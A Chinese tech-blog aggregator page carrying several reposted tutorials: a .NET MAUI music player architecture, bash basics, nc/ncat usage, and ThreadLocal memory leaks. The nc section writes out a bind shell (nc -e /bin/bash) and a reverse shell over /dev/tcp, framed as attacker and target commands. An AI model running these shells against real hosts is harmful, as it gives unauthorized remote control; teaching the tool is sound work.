首页
烟花
归档
随笔
聚合
部落格精华
部落格资讯
CSS教程
CSS3教程
HTML教程
HTML5教程
建站经验
网站优化
资讯
今日早报
资讯日历
科技新闻
今天
罗盘
网盘
友链
留言
1
「今日早报」 2025年5月14日, 农历四月十七, 星期三
2
「今日早报」 2025年5月13日, 农历四月十六, 星期二
3
「今日早报」 2025年5月12日, 农历四月十五, 星期一
4
「今日早报」 2025年5月11日, 农历四月十四, 星期日
5
「今日早报」 2025年5月10日, 农历四月十三, 星期六
沙漠渔
把過去的累積,善用到當下
累计撰写
2,468
篇文章
累计创建
385
个标签
累计收到
994
条评论
栏目
首页
烟花
归档
随笔
聚合
部落格精华
部落格资讯
CSS教程
CSS3教程
HTML教程
HTML5教程
建站经验
网站优化
资讯
今日早报
资讯日历
科技新闻
今天
罗盘
网盘
友链
留言
搜索
标签搜索
代理服务
winsw
override
VMware
api
popai
拉取镜像
人工智能
copilot
chatgpt
openai
coze
objdump
ldd
日志
版本
latest
批处理
bat
节能模式
iwconfig
排序
du
设计模式
hostname
面板
cockpit
版本不兼容
npm
统计
烟花
新春
leveldb
Java heap space
堆内存
harbor
utf8mb4
网络聚合
IPV6
nmtui
测速
带宽
千兆
路由器
nmcli
nmlci
orangepi
motd
中文乱码
webdav
香橙派
代码折叠
享元模式
单例模式
解锁
锁定
无法安装
Xshell
并发编程
ScheduledThreadPoolExecutor
ThreadPoolExecutor
线程池
Fock-Join
并发
ExecutorService
nextcloud
alist
panic
hung task
时间戳
ping
tail
dd
嵌入式
点灯
mount
共享
NFS
curl
全屏
ChannelOption
C++
comparator
桥头堡
开源
varchar
char
StringBuilder
StringBuffer
String
命令行工具
网络配置
netsh
建议
专家
离谱
2022
设备管理器
虚拟网卡
环回适配器
安全
攻击
CC
DDOS
跳槽
过年
年假
春节
2023
优站计划
鼻塞
咳嗽
大号流感
阳
新冠病毒
循环冗余校验
CRC-16/XMODEM
crc校验
stream
DMZ主机
域名解析
CDN
七牛云
DDNS
类加载器
双亲委派
加载机制
删除
搜索
变化时间
修改时间
访问时间
响应异常
超时
jsoup
用法详解
压缩命令
打包压缩
zip
优缺点
打包
数据压缩
密码
sudoers
索引量
权重
瞬间
魔鬼洞
沙漠鱼
沙漠渔
面试
引用传递
值传递
即时编译器
机器码
JIT
旗舰版
ISO
原版镜像
win7
参数
配置文件
8小时
时间错误
报告
coverity
jetbrains
idea
谷歌翻译
rest
403
ERR_UNKNOWN_URL_SCHEME
DevTools
优先级
location
FTP
挂载
curlftpfs
提示
自定义参数
springboot
配置
死锁
超级密码
桥接
联通光猫
Dockerfile
构建
命令行
eclipse
光猫
路由模式
桥接模式
bash-4.2
sudo
oracle帐号
JDK下载
百度收录
定时发布
哨兵模式
内存管理
JVM
登录
免密
不一致
服务器时间
BIO,NIO,AIO
ByteBuffer
FileWriter
BufferedOutputStream
流水线
pipeline
环境变量
重启
任务消失
jenkins
卸载
snap
20.04
Ubuntu
容器
大数据传输
InputStream
学习笔记
CSS
最佳实践
DOM操作
原型链
原型
No such file or Directory
SSH配置
SSH免密
tar
命令
网站优化
取消快照
百度快照
全局配置
修改密码
控制台
gitlab
解码器
Netty
文件传输
sz
rz
Jar
打铁花
羊毛沟
容器日志
docker
规范
博客
rejected
Gerrit
wireshark
代理
Go
http-server
nodejs
package-lock.json
996加班
删除标签
钟薛高
60s新闻接口
每日新闻接口
百度福利
自动回复
localstorage
QQ机器人
redis
近乎
客户端
JuiceSSH
乔恩
加菲猫
新浪邮箱
joe
公告
父亲节
图标
每日新闻
51la
服务器
腾讯云
插件
罗永浩
编码
avatar
小虎墩大英雄
端午劫
端午节
中石化
中国石化
儿童节
win10
激活
shell
金门大桥
旧金山
产品经理
免疫力
熬夜
云旅游
云游
招聘
海尔
halo
校友会
创新
哈工大
鸿蒙
王成录
标题
主题
北京
疫情
域名
沙漠渔溏
方法声明
jpa
表情包
emoji
JavaAgent
姓名测试
姓名打分
起名
百度
收录
SEO
group by
distinct
去重
JDBC
validationQuery
兄弟元素
点击事件
$event
9600
传输延时
波特率
串口
站点统计
站长工具
cnzz
生命周期
refs
vue
replaceAll
replace
JavaScript
软件
FRP
内网外入
内网穿透
学习
解题
leetcode
云计算
中国医药
神思电子
股票
Java
报错
数据块
关键词
风筝
清明节
注解
spring
clang-format
格式化
反向代理
nginx
索引
linux
vim
数据库
仓库管理
git
压缩
winrar
mysql
测试
markdown
目 录
CONTENT
以下是
网络聚合
相关的文章
2024-01-18
深入解读.NET MAUI音乐播放器项目(一):概述与架构
系列文章将分步解读音乐播放器核心业务及代码: 深入解读.NET MAUI音乐播放器项目(一):概述与架构 深入解读.NET MAUI音乐播放器项目(二):播放内核 深入解读.NET MAUI音乐播放器项目(三):界面与交互 为什么想起来这个项目了呢? 这是一个Windows Phone 8的老项目,2014年用作为兴趣写了个叫“番茄播放器”的App,顺便提高编程技能。 这个项目的架构历经多次迁移,从WP8到UWP再到Xamarin.Forms。去年底随着MAUI的正式发布,又尝试把它迁移到MAUI上来。 虽然历经数次迁移,但命名空间和播放内核的代码基本没怎么改动,这个项目随着解决方案升级,依赖库、API调用方式的变更,见证了微软在移动互联网领域的动荡。我偶然发现8年前提交到微软商店的App,竟然还能够打开下载页面 - Microsoft应用商店,但由于我手边没有一台Windows Phone设备,也没法让它在任何的模拟器中跑起来。也只能从商店截图和源代码中重温这个物件和那段时光。 这个项目现在已经没有任何的商业价值,但我知道它对于我意味着什么,曾给我带来的在编程时的那种欣喜和享受,可以说真正让我知道什么叫“Code 4 Fun”——编程带来的快乐,对于那时刚进入社会的我,树立信心和坚持道路有莫大的帮助。 这个项目可能从来就没有价值。那么写博文和开源能发挥多少价值就算多少吧。 当下在.Net平台上有不少开源的音频封装库,如Plugin.Maui.Audio,本项目没有依赖任何音频的第三方库,希望大家以学习的态度交流,如果您有更好的实现方式,欢迎在文章下留言。因为代码年代久远且近年来没有重构,C#语言版本和代码写法上会有不少繁冗,这里还要向大家说声抱歉。 架构 使用Abp框架,我之前写过如何 将Abp移植进.NET MAUI项目,本项目也是按照这篇博文完成项目搭建。 跨平台 使用.NET MAU实现跨平台支持,从Xamarin.Forms移植的应用可以在Android和iOS平台上顺利运行。 播放内核是由分部类提供跨平台支持的,在Xamarin.Forms时代,需要维护不同平台的项目,MAUI是单个项目支持多个平台。 MAUI 应用项目包含 一个 Platform 文件夹,每个子文件夹表示 .NET MAUI 可以面向的平台 每个文件夹代表了每个平台特定的代码, 在默认的情况下 编译阶段仅仅会编译当前选择的平台文件夹代码。 这属于利用分部类和方法创建平台特定内容,详情请参考官方文档 如IMusicControlService在项目中分部类实现: MatoMusic.Core\Impl\MusicControlService.cs MatoMusic.Core\Platforms\Android\MusicControlService.cs MatoMusic.Core\Platforms\iOS\MusicControlService.cs MatoMusic.Core\Platforms\Windows\MusicControlService.cs 核心类 在设计播放内核时,从用户的交互路径思考,抽象出了曲目管理器IMusicInfoManager和播放控制服务IMusicControlService, 播放器行为和曲目操作行为在各自领域相互隔离,通过生产-消费模型,数据流转和消息通知冒泡协调一致。尽量规避了大规模使用线程锁,以及复杂的线程同步逻辑。在跨平台方案中,通过分部类实现了这些接口,类图如下: 音乐播放相关服务类MusicRelatedService是播放控制服务的一层封装,在实际播放器业务逻辑上,利用封装的代码能更方便的完成任务。 项目遵循MVVM设计模式,MusicRelatedViewModel作为音乐播放相关ViewModel的基类,包含了曲目管理器IMusicInfoManager和播放控制服务IMusicControlService对象,通过双向绑定开发者可以从表现层轻松进行音乐控制和曲目访问 ViewModelBase是个基础类,它继承自AbpServiceBase,封装了Abp框架通用功能的调用。比如Setting、Localization和UnitOfWork功能。并且实现了INotifyPropertyChanged,它为绑定类型的每个属性提供变更事件。 核心类图如下 定义 Queue - 歌曲队列,当前用于播放歌曲的有序列表 Playlist - 歌单,存储可播放内容的集合,用于收藏曲目,添加到我的最爱等。 PlaylistEntry - 歌单条目,可播放内容,关联一个本地音乐或在线音乐信息 MyFavourite - 我的最爱,一个id为1的特殊的歌单,不可编辑和删除,用于记录点亮歌曲小红心 MusicInfo - 曲目信息 AlbumInfo - 专辑信息 ArtistInfo - 艺术家信息 BillboardInfo - 排行榜,在线音乐歌单 曲目 曲目包含: Title - 音乐标题 AlbumTitle - 专辑标题 GroupHeader - 标题头,用于列表分组显示的依据 Url - 音频文件地址 Artist - 艺术家 Genre - 流派 IsFavourite - 是否已“我最喜爱” IsPlaying - 是否正在播放 AlbumArtPath - 封面图片 Duration - 歌曲总时长 如果配合模糊搜索控件,需要实现IClueObject,使用方式请参考AutoComplete控件 public class MusicInfo : ObservableObject, IBasicInfo, IClueObject { .. } public List<string> ClueStrings { get { var result = new List<string>(); result.Add(Title); result.Add(Artist); result.Add(AlbumTitle); return result; } } 它继承自ObservableObject,构造函数中注册属性更改事件 IsFavourite更改时,将调用MusicInfoManager将当前曲目设为或取消设为“我最喜爱” private void MusicInfo_PropertyChanged(object sender, PropertyChangedEventArgs e) { var MusicInfoManager = IocManager.Instance.Resolve<MusicInfoManager>(); if (e.PropertyName == nameof(IsFavourite)) { if (IsFavourite) { MusicInfoManager.CreatePlaylistEntryToMyFavourite(this); } else { MusicInfoManager.DeletePlaylistEntryFromMyFavourite(this); } } } 曲目集合 曲目集合是歌单,音乐专辑或者艺术家(演唱者)创作的音乐的抽象,它包含: Title - 标题,歌单,音乐专辑或者艺术家名称 GroupHeader - 标题头,用于列表分组显示的依据 Musics - 曲目信息集合 AlbumArtPath - 封面图片 Count - 歌曲集合曲目数 Time - 歌曲集合总时长 它继承自ObservableObject AlbumInfo,ArtistInfo,PlaylistInfo,BillboardInfo 都是曲目集合的子类 Musics是曲目集合的内容,类型为ObservableCollection<MusicInfo>,双向绑定时提供队列变更事件。 集合曲目数和集合总时长依赖这个变量 public int Count => Musics.Count(); public string Time { get { var totalSec = Math.Truncate((double)Musics.Sum(c => (long)c.Duration)); var totalTime = TimeSpan.FromSeconds(totalSec); var time = totalTime.ToString("g"); return time; } } 当集合内容增删时,同步通知歌曲集合曲目数以及总时长变更 private void _musics_CollectionChanged(object sender, NotifyCollectionChangedEventArgs e) { if (e.Action == NotifyCollectionChangedAction.Remove || e.Action == NotifyCollectionChangedAction.Add) { RaisePropertyChanged(nameof(Time)); RaisePropertyChanged(nameof(Count)); } } GroupHeader标题头,一般取得是标题的首字母,若标题为中文,则使用Microsoft.International.Converters.PinYinConverter获取中文第一个字的拼音首字母,跨平台实现方式如下: private partial string GetGroupHeader(string title) { string result = string.Empty; if (!string.IsNullOrEmpty(title)) { if (Regex.IsMatch(title.Substring(0, 1), @"^[\u4e00-\u9fa5]+$")) { try { var chinese = new ChineseChar(title.First()); result = chinese.Pinyins[0].Substring(0, 1); } catch (Exception ex) { return string.Empty; } } else { result = title.Substring(0, 1); } } return result; } GroupHeader用于列表分组显示的内容将在后续文章中阐述 数据库 应用程序里使用Sqlite,作为播放列表,歌单,设置等数据的持久化 ,使用CodeFirst方式用EF初始化Sqlite数据库文件:mato.db 在MatoMusic.Core项目的appsettings.json中添加本地sqlite连接字符串 "ConnectionStrings": { "Default": "Data Source=file:{0};" }, ... 这里文件是一个占位符,通过代码hardcode到配置文件 在MatoMusicCoreModule.cs中,重写PreInitialize并设置Configuration.DefaultNameOrConnectionString: public override void PreInitialize() { LocalizationConfigurer.Configure(Configuration.Localization); Configuration.Settings.Providers.Add<CommonSettingProvider>(); string documentsPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), MatoMusicConsts.LocalizationSourceName); var configuration = AppConfigurations.Get(documentsPath, development); var connectionString = configuration.GetConnectionString(MatoMusicConsts.ConnectionStringName); var dbName = "mato.db"; string dbPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), MatoMusicConsts.LocalizationSourceName, dbName); Configuration.DefaultNameOrConnectionString = String.Format(connectionString, dbPath); base.PreInitialize(); } 接下来定义实体类 播放队列 定义于\MatoMusic.Core\Models\Entities\Queue.cs public class Queue : FullAuditedEntity<long> { [Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)] public override long Id { get; set; } public long MusicInfoId { get; set; } public int Rank { get; set; } public string MusicTitle { get; set; } } 歌单 定义于\MatoMusic.Core\Models\Entities\Playlist.cs public class Playlist : FullAuditedEntity<long> { [Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)] public override long Id { get; set; } public string Title { get; set; } public bool IsHidden { get; set; } public bool IsRemovable { get; set; } public ICollection<PlaylistItem> PlaylistItems { get; set; } } 歌单条目 定义于\MatoMusic.Core\Models\Entities\PlaylistItem.cs public class PlaylistItem : FullAuditedEntity<long> { [Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)] public override long Id { get; set; } public int Rank { get; set; } public long PlaylistId { get; set; } [ForeignKey("PlaylistId")] public Playlist Playlist { get; set; } public string MusicTitle { get; set; } public long MusicInfoId { get; set; } } 配置 数据库上下文对象MatoMusicDbContext定义如下 public class MatoMusicDbContext : AbpDbContext { //Add DbSet properties for your entities... public DbSet<Queue> Queue { get; set; } public DbSet<Playlist> Playlist { get; set; } public DbSet<PlaylistItem> PlaylistItem { get; set; } ... MatoMusic.EntityFrameworkCore是应用程序数据库的维护和管理项目,依赖于Abp.EntityFrameworkCore。 在MatoMusic.EntityFrameworkCore项目中csproj文件中,引用下列包 <PackageReference Include="Abp.EntityFrameworkCore" Version="7.4.0" /> <PackageReference Include="Microsoft.EntityFrameworkCore" Version="7.0.0" /> <PackageReference Include="Microsoft.EntityFrameworkCore.Sqlite" Version="7.0.0" /> <PackageReference Include="Microsoft.EntityFrameworkCore.Sqlite.Design" Version="1.1.6" /> <PackageReference Include="Microsoft.EntityFrameworkCore.Tools" Version="7.0.0"> 在该项目MatoMusicEntityFrameworkCoreModule.cs 中,将注册上下文对象,并在程序初始化运行迁移,此时将在设备上生成mato.db文件 public override void PostInitialize() { Helper.WithDbContextHelper.WithDbContext<MatoMusicDbContext>(IocManager, RunMigrate); if (!SkipDbSeed) { SeedHelper.SeedHostDb(IocManager); } } public static void RunMigrate(MatoMusicDbContext dbContext) { dbContext.Database.Migrate(); } 项目地址 GitHub:MatoMusic 下一章将介绍播放器核心功能:播放服务类
2024-01-18
315
0
0
网络聚合
2024-01-18
linux 基础(6)简单认识 bash
shell 和 bash 是什么? shell 是一种应用程序,在这个程序里输入文字指令,系统就会做出响应的操作。这个“壳程序”是我们使用系统各种功能的接口,学会了 shell 就是学会操作 linux 系统。检索/etc/shells,可以看到当前系统的 shell 有哪些。而 bash (Bourne Again SHell)是大部分 linux 的默认 shell 程序,也是最广泛使用的 shell。 shell, termial, console, tty 之间的区别 在现代计算机语境下 termial, console, tty 是同一个意思即“终端”。终端就是一个与用户交互的界面,和 shell 相连接。用 Windows 的软件名字来理解就非常容易。Bash 的 sh 代表 shell,powershell也是一个shell,他们接受输入,执行操作;而 windows terminal 就是一个终端,他装着shell进程,接受键盘输入交给shell,输出操作结果,管理输入输出,字体样式,大小颜色。 bash 的变量功能 bash 语句可以使用和储存变量,有了这个功能,bash 就不只是交互工具,而拥有编程功能。 变量的读写 echo可以查看一个变量,读变量需要加上$,如果不存在会读空值而不是报错。 echo $var echo ${var} # 都可以 写变量不需要符号,直接等号赋值,已有的赋新值,没有的创建。字符串可以复用已有变量。 myvar1=hello # 创建变量,注意等号不能有空格,这和大多数语言不一样 myvar2="world" # 也可以用单双引号 myvar2="${myvar1} world" # 双引号会格式化字符串,结果 hello world,没有引号也会格式化 myvar2='${myvar1} world' # 单引号不会格式化字符串,结果 ${myvar1} world myvar2=hello\ world # 反斜杠可以转义,表达空格、反斜杠和单双引号 unset myvar1 # 删除变量 特殊用法,可以包裹指令,以指令输出作为值。 a=$(uname -a) #执行 uname -a,输入赋值给a a=`uname -a` #反引号也可以 自订变量和环境变量 环境变量是打开 shell 时就加载的一些的变量,他们保存 bash 的个人配置,非常重要。输入env查询环境变量。 当前 shell,主机名称,当前目录,PATH,语言设定等,都是编写程序需要用到的重要变量。 环境变量可以传递到 bash 启动的子程序里,自定变量却不可以。想要把自订变量转化成环境变量,就用 export 指令 export myvar1 declare 详细设定变量 declare可以详细的设置变量属性。 declare -air myvar -i: 设定数字类型。使用等号赋值一定得到字符串变量,比如`a=3`会得到字符串`3`,不能进行数学运算。declare可以创建数字类型变量 -r: 设定为只读变量 -a: 设定为数组类型。bash 的数组类型没有太多的功能,主要用于循环遍历 bash 的进阶操作 alias 别名 alias 可以给一个长命令全一个短名字,方便实用。如alias ls=ls --color=auto就可以让 ls 执行时实际执行ls --color=auto。alias 的优先级高,所以ls会取代原来没有参数的ls。不同的 distribution 内置了一些常用的alias。 alias la=ls -a alias ll=ls -al alias vi=vim alias rm=rm -i ... 历史命令 按下上箭头可以调用历史输入。也可以使用 history 直接查看命令。 history 3 # 显示最近 3 条历史 history -c # 清除历史 history -w # 立刻将本 shell 历史写入.bash_history,默认在 shell 退出的时候会写入 感叹号也可以直接用来调用历史 !92 # 执行历史指令 92 号 !gcc # 执行最近一条以gcc开头的指令,这个很方便 由于 .bash_history 一般在 shell 退出的时候更新,如果开启了多个shell,.bash_history 只有最后退出的 shell 记录。 数据流和重定向 键入一条指令,输出一堆数据,有一些指令还需要输入,默认输出都打印在屏幕上,输入用键盘敲。如果我希望从文件输入,从文件输出,就需要修改输入输出的设置;另一方面,有一些输出是我们想看到的信息,叫做标准输出流,还有一类输出是报错信息,叫做标准错误流,他们是可以区分开的。 重定向输出流使用>和>>,重定向错误流用2>和2>>,输入流也类似,<表示输入由文件提供。 ls >lsinfo # 屏幕无输出,储存在lsinfo里,若没有则创建,有则覆盖。 ls >>lsinfo # 屏幕无输出,储存在lsinfo里,若没有则创建,有则追加。 ls /dir 2>lsinfo # 查看不存在的目录会报错,屏幕无输出,错误信息输入lsinfo,若存在则屏幕输出,2>不接收信息 ls /dir 2>/dev/null >lsinfo # 输出到lsinfo,若有错误信息,输出到/dev/null ./a.out <input.txt # input.txt提供a.out的输入 /dev/null叫做黑洞设备,可以直接丢弃任何进来的信息。 如果我需要像默认情况一样把输出流和错误流重定向到同一个地方,不能使用>file 2>file的形式,这样会使两个程序写同一个文件。可以使用&>file或者1>file 2>&1 bash 的一些特性 指令搜寻顺序 当我们输入一个指令,他会在哪里寻找这个指令呢?首先指定路径的肯定按路径执行了,没有路径的,则是alias > builtin > PATH file。优先寻找alias,然后是shell内置,最后在 PATH 里从前往后寻找 提示符 用echo $PS1,可以查看他的值,这就是“命令提示字符”,也就是每次输入命令前面的提示字符。 echo $PS1 \[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ PS1 的内容是一门微语言,里面的内容经过替换后就是成为了每次回车前的命令提示符,比如 \u 代表用户名,\h 代表主机名,\t 代表时间等,\e[]则可以设定字符的粗细颜色等。想要自定义漂亮的提示符,就可以去搜索 PS1 的语法。 开屏信息 每次打开终端显示的信息在哪里修改?这个文件不在变量而在/etc/issue。 cat /etc/issue 这些符号和 PS1 一样可以自订修改。可以打印日期,时间,系统信息等。 配置加载文件 首先我们要明白,shell 分为 login shell 和 non-login shell。login shell 是每个用户进入系统输入账号密码登陆成功后取得的那个shell,而 non-login shell 则是已经登录后开启的其他shell。对于图形化界面,可以把 GUI 也理解为一个 shell,你开机时已经输入了账号密码,所以打开的 shell 是 non-login shell。 login shell 首先读取的配置文件是/etc/profile,这里是所有用户共有的基本设定,会根据用户配置PATH、umask,配置命令参数补全等,不推荐修改。然后会读取个人配置,首先读取~/.bash_profile,没有的话再选择~/.bash_login,还没有就读取~/.profile三个按优先级,只会读取其中一个。non-login shell 仅读取另一个文件~/.bashrc,不会再读前面的配置文件。 万用字符 bash 指定目录和文件名时支持特殊字符的匹配: 万用字符和其他特殊字符可以用反斜杠还原成普通字符。
2024-01-18
165
0
0
网络聚合
2024-01-18
Linux命令篇 - nc(ncat) 命令
nc (ncat) Ncat is a feature-packed networking utility which reads and writes data across networks from the command line; nc(ncat):Ncat是一个功能丰富的网络实用工具;支持端口监听、远程通信、文件传输、端口扫描、反向Shell、端口转发功能; 格式:ncat [OPTIONS...] [hostname] [port] 常用参数: OPTIONS 意义 -l 使用监听模式,意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接 -p 设置本地主机使用的通信端口 -s 设置本地主机送出数据包的IP地址 -u 使用UDP传输协议 -v 显示指令执行过程 -w 设置等待连线的时间 -z 使用0输入/输出模式,只在扫描通信端口时使用 nc、netcat、ncat区别: nc与netcat是一个组件,ncat是nmap分支下的一个命令; nc / ncat 在CentOS 上是同一个命令工具,是一个功能丰富的网络实用程序,可通过命令行在网络上读写数据; 使用 ncat 时,尽量不要使用 nc,避免与 netcat 冲突; 若安装了ncat时,nc、netcat都成了ncat的alias,命令行里输入这三者都是一样的; netcat和ncat的-z参数是不相等的; 可通过rpm -qa|grep nc命令,查看nc是指netcat还是ncat; Ncat是在原始Netcat之上新增功能二次开发的另一款强大工具,也就是说Netcat有的功能Ncat都具备,并且Ncat还有更多强大的功能。 参考案例: 扫描80端口 # nc可用ncat代替 $ nc -nvv 192.168.3.1 80 远程通信 # ncat 命令在20000端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口; # 输出和输入都在此shell中展示 Server$ nc -l 20000 Client$ nc Server-IP 20000 文件传输 # 从Client传输文件到Server # 需要在Server上使用nc监听,server上运行监听命令; Server$ nc -lp 12345 >> test.log # Client运行传输命令 Client$ nc -w 1 Server-IP 12345 < xxx.log 从Server传输文件到Client 需要在Server上使用nc监听,server上运行监听命令; Server$ nc -lp 12345 < test.log Client运行传输命令 Client$ nc -w 1 Server-IP 12345 > xxx.log 目录传输 # 从Client传输文件到Server上;需要在Server上使用nc监听,server上运行监听命令; # tar zxvf - 通过tar zxvf解压,从管道接收到的数据,`-`表示从管道接收数据; Server$ nc -l 23456|tar zxvf - tar zcvf - 通过tar zcvf压缩,将目录Directory压缩后传输到管道中;-表示输出到管道中; Client$ tar zcvf - Directory | nc Server-IP 23456 抓取Banner信息 # 一旦发现开放的端口,可以容易的使用ncat 连接服务抓取他们的banner $ nc -v 172.31.100.7 21 正向Shell 正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机。 # 正向shell是目标机(被攻击方)先执行nc命令,然后攻击机(攻击方)上再进行nc连接,即可反弹shell # 正向shell需要目标机安装nc # 正向shell 需要目标机firewalld可过滤 target: 目标服务器系统(被攻击方) target$ nc -lkvp 7777 -e /bin/bash attack: 攻击者系统(攻击方) attack$ nc Target-IP 7777 反向shell 反向shell就是靶机带着shell来连攻击机,好处显而易见就是不用担心防火墙的问题了,当然也不是没有缺点;缺点就是攻击机的IP必须能支持靶机的主动寻址,换句话来说就是攻击机需要有公网IP地址;举个例子如攻击机是内网ip或经过了NAT,靶机是公网IP,即使取得了命令执行权限靶机也无法将shell弹过来,这是网络环境的问题。 # attack: 攻击者系统(攻击方) # -k: 当客户端从服务端断开连接后,过一段时间服务端也会停止监听;通过选项 -k 可以强制服务器保持连接并继续监听端口;即使来自客户端的连接断了server也依然会处于待命状态; attack$ nc -lkvnp 6677 target: 目标服务器系统(被攻击方) -i: 指定断开的时候,单位为秒 Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1 测试网速 # 服务端 Server$ nc -l <port> > /dev/null 客户端 Client$ nc Server-IP <port> < /dev/zero 测试连通性 # 测试tcp端口连通性 # nc -vz ip tcp-port $ nc -zv 192.168.188.188 5432 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.188.188:5432. Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds. 测试udp端口连通性 nc -uvz ip udp-port $ nc -uzv 192.168.188.188 7899 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Connected to 192.168.188.188:7899. Ncat: Connection refused. 端口监听 # 临时监听TCP端口 # nc -l port >> filename.out 将监听内容输入到filename.out文件中 $ nc -l 7789 >> a.out 永久监听TCP端口 nc -lk port $ nc -lk 7789 >> a.out 临时监听UDP nc -lu port $ nc -lu 7789 >> a.out 永久监听UDP nc -luk port $ nc -luk 7789 >> a.out
2024-01-18
189
0
0
网络聚合
2024-01-18
ThreadLocal真的会造成内存泄漏吗?
ThreadLoca在并发场景中,应用非常多。那ThreadLocal是不是真的会造成内存泄漏?今天给大家做一个分享,个人见解,仅供参考。 1、ThreadLocal的基本原理 简单介绍一下ThreadLocal,在多线程并发访问同一个共享变量的情况下,如果不做同步控制的话,就可能会导致数据不一致的问题,所以,我们需要使用synchronized加锁来解决。 而ThreadLocal换了一个思路来处理多线程的情况, ThreadLocal本身并不存储数据,它使用了线程中的threadLocals属性,threadLocals的类型就是在ThreadLocal中的定义的ThreadLocalMap对象,当调用ThreadLocal的set(T value)方法时,ThreadLocal将自身的引用也就是this作为Key,然后,把用户传入的值作为Value存储到线程的ThreadLocalMap中,这就相当于每个线程的读写操作都是基于线程自身的一个私有副本,线程之间的数据是相互隔离的,互不影响。 这样一来基于ThreadLocal的操作也就不存在线程安全问题了。它相当于采用了用空间来换时间的思路,从而提高程序的执行效率。 2、四种对象引用 在ThreadLocalMap内部,维护了一个Entry数组table的属性,用来存储键值对的映射关系,来看这样一段代码片段: static class ThreadLocalMap { ... private Entry[] table; static class Entry implements WeakReference<ThreadLocal<?>> { Object value; Entry(ThreadLocal<?> k, Object v) { super(k); value = v; } } ... } Entry将ThreadLocal作为Key,值作为Value保存,它继承自WeakReference,注意构造函数里的第一行代码super(k),这意味着ThreadLocal对象是一个「弱引用」。有的小伙伴可能对「弱引用」不太熟悉,这里再介绍一下Java的四种引用关系。 在JDK1.2之后,Java对引用的概念做了一些扩充,将引用分为“强”、“软”、“弱”、“虚”四种,由强到弱依次为: 强引用:指代码中普遍存在的赋值行为,如:Object o = new Object(),只要强引用关系还在,对象就永远不会被回收。 软引用:还有用处,但不是必须存活的对象,JVM会在内存溢出前对其进行回收,例如:缓存。 弱引用:非必须存活的对象,引用关系比软引用还弱,不管内存是否够用,下次GC一定回收。 虚引用:也称“幽灵引用”、“幻影引用”,最弱的引用关系,完全不影响对象的回收,等同于没有引用,虚引用的唯一的目的是对象被回收时会收到一个系统通知。 这个描述还是比较官方的,简单总结一下,大家应该都追过剧,强引用就好比是男主角,怎么都死不了。软引用就像女主角,虽有一段经历,还是没走到最后。弱引用就是男二号,注定用来牺牲的。虚引用就是路人甲了。 3、造成内存泄漏的原因 内存泄漏和ThreadLocalMap中定义的Entry类有非常大的关系。 3.1内存泄漏相关概念 Memory overflow:内存溢出,没有足够的内存提供申请者使用。 Memory leak:内存泄漏是指程序中己动态分配的堆内存由于某种原因程序未释放或无法释放,造成系统内存的浪费,导致程序运行速度减慢甚至系统崩溃等严重后果。I内存泄漏的堆积终将导致内存溢出。 3.2 如果key使用强引用 假设ThreadLocalMap中的key使用了强引用,那么会出现内存泄漏吗? 此时ThreadLocal的内存图(实线表示强引用)如下: 假设在业务代码中使用完ThreadLocal, ThreadLocal ref被回收了 但是因为threadLocalMap的Entry强引用了threadLocal, 造成ThreadLocal无法被回收 在没有手动删除Entry以及CurrentThread依然运行的前提下, 始终有强引用链threadRef → currentThread → entry, Entry就不会被回收( Entry中包括了ThreadLocal实例和value), 导致Entry内存泄漏也就是说: ThreadLocalMap中的key使用了强引用, 是无法完全避免内存泄漏的 3.3 如果key使用弱引用 假设ThreadLocalMap中的key使用了弱引用, 那么会出现内存泄漏吗? 假设在业务代码中使用完ThreadLocal, ThreadLocal ref被回收了 由于threadLocalMap只持有ThreadLocal的弱引用, 没有任何强引用指向threadlocal实例, 所以threadlocal就可以顺利被gc回收, 此时Entry中的key = null 在没有手动删除Entry以及CurrentThread依然运行的前提下, 也存在有强引用链threadRef → currentThread → value, value就不会被回收, 而这块value永远不会被访问到了, 导致value内存泄漏也就是说: ThreadLocalMap中的key使用了弱引用, 也有可能内存泄漏。 3.4 内存泄漏的真实原因 出现内存泄漏的真实原因出改以上两种情况 比较以上两种情况,我们就会发现: 内存泄漏的发生跟 ThreadLocalIMap 中的 key 是否使用弱引用是没有关系的。那么内存泄漏的的真正原因是什么呢? 细心的同学会发现,在以上两种内存泄漏的情况中.都有两个前提: 没有手动侧除这个 Entry CurrentThread 依然运行 第一点很好理解,只要在使用完下 ThreadLocal ,调用其 remove 方法翻除对应的 Entry ,就能避免内存泄漏。 第二点稍微复杂一点,由于ThreodLocalMap 是 Threod 的一个属性,被当前线程所引甲丁所以它的生命周期跟 Thread 一样长。那么在使用完 ThreadLocal 的使用,如果当前Thread 也随之执行结束, ThreadLocalMap 自然也会被 gc 回收,从根源上避免了内存泄漏。 综上, ThreadLocal 内存泄漏的根源是: 由于ThreadLocalMap 的生命周期跟 Thread 一样长,如果没有手动删除对应 key 就会导致内存泄漏. 4、如何避免内存泄漏? 不要听到「内存泄漏」就不敢使用ThreadLocal,只要规范化使用是不会有问题的。我给大家支几个招: 1、每次使用完ThreadLocal都记得调用remove()方法清除数据。 2、将ThreadLocal变量尽可能地定义成static final,避免频繁创建ThreadLocal实例。这样也就保证程序一直存在ThreadLocal的强引用,也能保证任何时候都能通过ThreadLocal的弱引用访问到Entry的Value值,进而清除掉。 当然,就是使用不规范,ThreadLocal内部也做了一些优化,比如: 1、调用set()方法时,ThreadLocal会进行采样清理、全量清理,扩容时还会继续检查。 2、调用get()方法时,如果没有直接命中或者向后环形查找时也会进行清理。 3、调用remove()时,除了清理当前Entry,还会向后继续清理。
2024-01-18
138
0
0
网络聚合
2024-01-18
Java日期时间处理详解
